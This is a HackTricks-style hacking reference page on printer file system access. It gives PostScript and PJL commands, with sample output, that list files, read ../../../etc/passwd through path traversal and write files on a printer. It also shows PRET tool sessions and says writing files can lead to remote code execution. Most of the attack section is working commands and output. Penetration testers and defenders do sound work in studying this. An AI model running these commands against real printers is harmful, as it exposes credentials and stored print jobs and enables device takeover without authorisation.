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PostScript
Retrieve sensitive information like configuration files or stored print jobs, RCE by writting files (like editing rc scripts or replacing binary files). Legitimate language constructs are defined for PostScript and PJL to access the filesystem.
Access the file system with PostScript (note that it could be sandboxed limiting to harmless actions):
> /str 256 string def (%*%../*) % list all files
> {==} str filenameforall
< (%disk0%../webServer/home/device.html)
< (%disk0%../webServer/.java.login.config)
< (%disk0%../webServer/config/soe.xml)
> /byte (0) def % read from file
> /infile (../../../etc/passwd) (r) file def
> { infile read {byte exch 0 exch put
> (%stdout) (w) file byte writestring}
> {infile closefile exit} ifelse
> } loop
< root::0:0::/:/bin/dlsh
> /outfile (test.txt) (w+) file def}} % write to file
> outfile (Hello World!) writestring
> outfile closefile
You can use PRET commands: ls, get, put, append, delete, rename, find, mirror, touch, mkdir, cd, pwd, chvol, traversal, format, fuzz and df :
./pret.py -q printer ps
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> ls ../..
d - Jan 1 1970 (created Jan 1 1970) bootdev
d - Jan 1 1970 (created Jan 1 1970) dsk_jdi
d - Jan 1 1970 (created Jan 1 1970) dsk_jdi_ss
d - Jan 1 1970 (created Jan 1 1970) dsk_ram0
d - Jan 1 1970 (created Jan 1 1970) etc
d - Jan 1 1970 (created Jan 1 1970) tmp
d - Jan 1 1970 (created Jan 1 1970) webServer
PJL
> @PJL FSDIRLIST NAME="0:\" ENTRY=1 COUNT=65535 (list all files)
< .\:\:TYPE=DIR
< ..\:\:TYPE=DIR
< PostScript TYPE=DIR
< PJL TYPE=DIR
< saveDevice TYPE=DIR
< webServer TYPE=DIR
> @PJL FSQUERY NAME="0:\..\..\etc\passwd" (read from file)
< @PJL FSQUERY NAME="0:\..\..\etc\passwd" TYPE=FILE SIZE=23
> @PJL FSUPLOAD NAME="0:\..\..\etc\passwd" OFFSET=0 SIZE=23
< root::0:0::/:/bin/dlsh
> @PJL FSDOWNLOAD SIZE=13 NAME="0:\test.txt" (write to file)
> Hello World!
Anyway accessing files with PJL is not supported by many printers.
You can use PRET commands: ls, get, put, append, delete, find, mirror, touch, mkdir, cd, pwd, chvol, traversal, format, fuzz and df :
./pret.py -q printer pjl
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> ls ..
d - bootdev
d - dsk_jdi
d - dsk_jdi_ss
d - dsk_ram0
d - etc
d - lrt
d - tmp
d - webServer
d - xps
Learn more about possible sandbox bypasses using PostScript and PJL limitations in http://hacking-printers.net/wiki/index.php/File_system_access
Support HackTricks and get benefits!
Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
Discover The PEASS Family, our collection of exclusive NFTs
Get the official PEASS & HackTricks swag
Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
Share your hacking tricks submitting PRs to the hacktricks github repo.